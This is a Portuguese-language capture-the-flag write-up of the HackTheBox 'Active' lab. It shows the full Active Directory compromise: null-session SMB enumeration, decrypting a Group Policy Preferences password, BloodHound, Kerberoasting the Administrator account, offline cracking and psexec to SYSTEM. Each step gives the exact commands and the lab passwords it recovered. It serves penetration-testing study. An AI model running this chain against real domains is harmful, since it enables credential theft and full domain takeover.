Informações da Box
| Plataforma | HackTheBox |
| Dificuldade | Easy |
| SO | Windows Server 2008 R2 |
| Técnicas Principais | GPP Password Decryption, Kerberoasting, PsExec |
Resumo do Caminho de Ataque
SMB null session -> share Replication com acesso READ -> encontrei Groups.xml com senha encriptada por GPP -> gpp-decrypt nos deu as creds do SVC_TGS -> BloodHound mostrou que o Administrator tem um SPN -> Kerberoast no Administrator -> crackei com rockyou -> psexec -> Domain Admin.
Primeira box AD da vida. Chain completa de zero creds até DA.
Enumeração
echo "10.129.3.112 active.htb" | sudo tee -a /etc/hosts
SMB — Null Session
nxc smb $ip -u '' -p '' --shares
# Share Replication com acesso READ — isso é basicamente o SYSVOL
Share Replication acessível com creds nulas. Esse é o ponto de partida.
Foothold — GPP Passwords (Creds de Graça)
Naveguei na share Replication e encontrei o clássico caminho de ataque GPP.
# Naveguei até: Policies -> Preferences -> Groups -> Groups.xml
# Encontrei campo cpassword + username: active.htb\SVC_TGS
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# Resultado: GPPstillStandingStrong2k18
Primeiras creds: SVC_TGS:GPPstillStandingStrong2k18
O negócio das senhas GPP — a Microsoft publicou a chave AES usada pra encriptar o campo cpassword. Então o gpp-decrypt cracka instantaneamente. Nem é brute force, é só descriptografia com uma chave conhecida. Creds de graça.
BloodHound
bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -ns 10.129.3.112 -d active.htb -c All
# Encontrou 5 usuários, 41 grupos, 2 GPOs
# Subi os JSONs pro BloodHound CE em localhost:8080
BloodHound mostrou que a conta Administrator tem um SPN configurado (active/CIFS:445). Isso significa que é Kerberoastable.
Escalação de Privilégios — Kerberoasting
Qualquer usuário autenticado no domínio pode solicitar service tickets pra contas com SPNs. O ticket é encriptado com o hash da senha da conta — cracka o ticket, cracka a senha.
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.3.112 -request -outputfile kerberoast.txt
# Encontrou: Administrator com SPN active/CIFS:445
# Pegou hash krb5tgs
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Crackou: Ticketmaster1968
Creds de Domain Admin: Administrator:Ticketmaster1968
Shell como SYSTEM
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.3.112
Feito.
Credenciais
| Usuário | Senha | Origem | Escopo |
|---|---|---|---|
| SVC_TGS | GPPstillStandingStrong2k18 | GPP Groups.xml | Domain user |
| Administrator | Ticketmaster1968 | Kerberoasting | Domain Admin |
O que Aprendi
Senhas GPP em shares SYSVOL/Replication — qualquer usuário do domínio (ou até null session) consegue ler arquivos XML de Group Policy Preferences. O campo cpassword usa uma chave AES publicada. Sempre cheque isso.
Kerberoasting — qualquer usuário autenticado pode solicitar tickets TGS pra contas com SPNs. Se a senha for fraca, cracka o ticket offline. O Administrator ter um SPN foi o tiro fatal aqui.
A chain do eCPPTv3 AD funciona em boxes reais: Setup -> achar creds (GPP) -> BloodHound -> Kerberoasting -> crack -> psexec -> Domain Admin.
Padrão: “Acesso SMB nulo + share SYSVOL/Replication = cheque GPP passwords imediatamente. Depois joga tudo no BloodHound.”